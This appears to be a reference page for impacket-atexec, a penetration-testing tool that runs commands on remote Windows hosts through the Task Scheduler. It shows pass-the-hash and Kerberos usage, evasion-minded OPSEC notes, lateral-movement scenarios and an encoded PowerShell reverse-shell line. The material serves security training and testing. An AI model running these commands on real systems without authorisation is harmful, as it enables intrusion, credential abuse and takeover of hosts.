> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# impacket-atexec

> Remote command execution via Windows Task Scheduler (ATSVC). Execute commands through scheduled tasks with password, hash, or Kerberos authentication.

## Overview

`impacket-atexec` executes commands on a remote Windows host by creating a scheduled task via the ATSVC (Task Scheduler) named pipe. The command output is written to a temp file on the target and retrieved over SMB.

Useful when other execution methods (psexec, wmiexec, smbexec) are blocked but the Task Scheduler service is still accessible.

***

## Authentication

| Method    | Flag                   | Example                                     |
| --------- | ---------------------- | ------------------------------------------- |
| Password  | `domain/user:password` | `CORP/admin:Password1`                      |
| NTLM hash | `-hashes`              | `-hashes :aad3b435b51404eeaad3b435b51404ee` |
| Kerberos  | `-k -no-pass`          | `-k -no-pass -dc-ip 10.10.10.1`             |

***

## Basic Usage

Execute a command and get output:

```bash theme={"dark"}
impacket-atexec CORP/admin:Password1@10.10.10.5 "whoami"
```

Execute with IP target:

```bash theme={"dark"}
impacket-atexec administrator:Password1@10.10.10.5 "ipconfig /all"
```

Multiple commands chained:

```bash theme={"dark"}
impacket-atexec CORP/admin:Password1@10.10.10.5 "whoami & hostname & ipconfig"
```

***

## How It Works

1. Authenticates to the target over SMB (port 445)
2. Connects to the ATSVC named pipe (Task Scheduler RPC interface)
3. Creates a scheduled task set to execute immediately
4. The task runs `cmd.exe /C <command> > %windir%\Temp\<random>.tmp 2>&1`
5. Reads the output file from the `ADMIN$` share (`ADMIN$\Temp\<random>.tmp`, i.e. `C:\Windows\Temp`) over SMB
6. Deletes the output file and the scheduled task

The entire flow happens over SMB (port 445). No additional ports needed.

***

## OPSEC

| Artifact   | Details                                             |
| ---------- | --------------------------------------------------- |
| Event 4698 | Scheduled task created (Security log)               |
| Event 4702 | Scheduled task updated (Security log)               |
| Event 4699 | Scheduled task deleted (Security log)               |
| Event 106  | Task registered (Task Scheduler log)                |
| Event 141  | Task removed (Task Scheduler log)                   |
| Temp file  | Output written to `C:\Windows\Temp\<random>.tmp`    |
| Process    | `cmd.exe` spawned by `svchost.exe` (Task Scheduler) |

Task name is random but follows a recognizable pattern. Detection rules commonly alert on rapid task create/delete cycles.

***

## Pass-the-Hash

```bash theme={"dark"}
impacket-atexec -hashes :aad3b435b51404eeaad3b435b51404ee administrator@10.10.10.5 "whoami"
```

Full LM:NT format:

```bash theme={"dark"}
impacket-atexec -hashes aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee administrator@10.10.10.5 "whoami"
```

***

## Kerberos Authentication

Requires a valid TGT in the `KRB5CCNAME` environment variable.

```bash theme={"dark"}
export KRB5CCNAME=/tmp/admin.ccache
impacket-atexec -k -no-pass CORP/admin@DC01.corp.local "whoami"
```

With explicit DC IP:

```bash theme={"dark"}
impacket-atexec -k -no-pass -dc-ip 10.10.10.1 CORP/admin@DC01.corp.local "whoami"
```

Target must be specified by hostname (FQDN) when using Kerberos, not by IP.

***

## When to Use atexec

| Scenario            | Why atexec                                             |
| ------------------- | ------------------------------------------------------ |
| PsExec blocked      | Target blocks service creation but Task Scheduler runs |
| WMI blocked         | Firewall blocks WMI (DCOM) ports 135/49152+            |
| SMBExec detected    | EDR flags smbexec's service creation pattern           |
| Need single command | Quick one-off command execution without a shell        |
| Lateral movement    | Alternative pivot method when standard tools fail      |

atexec is a single-command execution tool, not an interactive shell. For interactive access, use `wmiexec` or `smbexec`.

***

## Quick Reference

```bash theme={"dark"}
# Password auth
impacket-atexec CORP/admin:Password1@10.10.10.5 "whoami"

# Pass-the-hash
impacket-atexec -hashes :NT_HASH administrator@10.10.10.5 "whoami"

# Kerberos
export KRB5CCNAME=/tmp/admin.ccache
impacket-atexec -k -no-pass CORP/admin@DC01.corp.local "whoami"

# Run net commands
impacket-atexec CORP/admin:Password1@10.10.10.5 "net user /domain"

# Read a file
impacket-atexec CORP/admin:Password1@10.10.10.5 "type C:\Users\admin\Desktop\flag.txt"

# Reverse shell (PowerShell)
impacket-atexec CORP/admin:Password1@10.10.10.5 "powershell -e JABjAGwA..."
```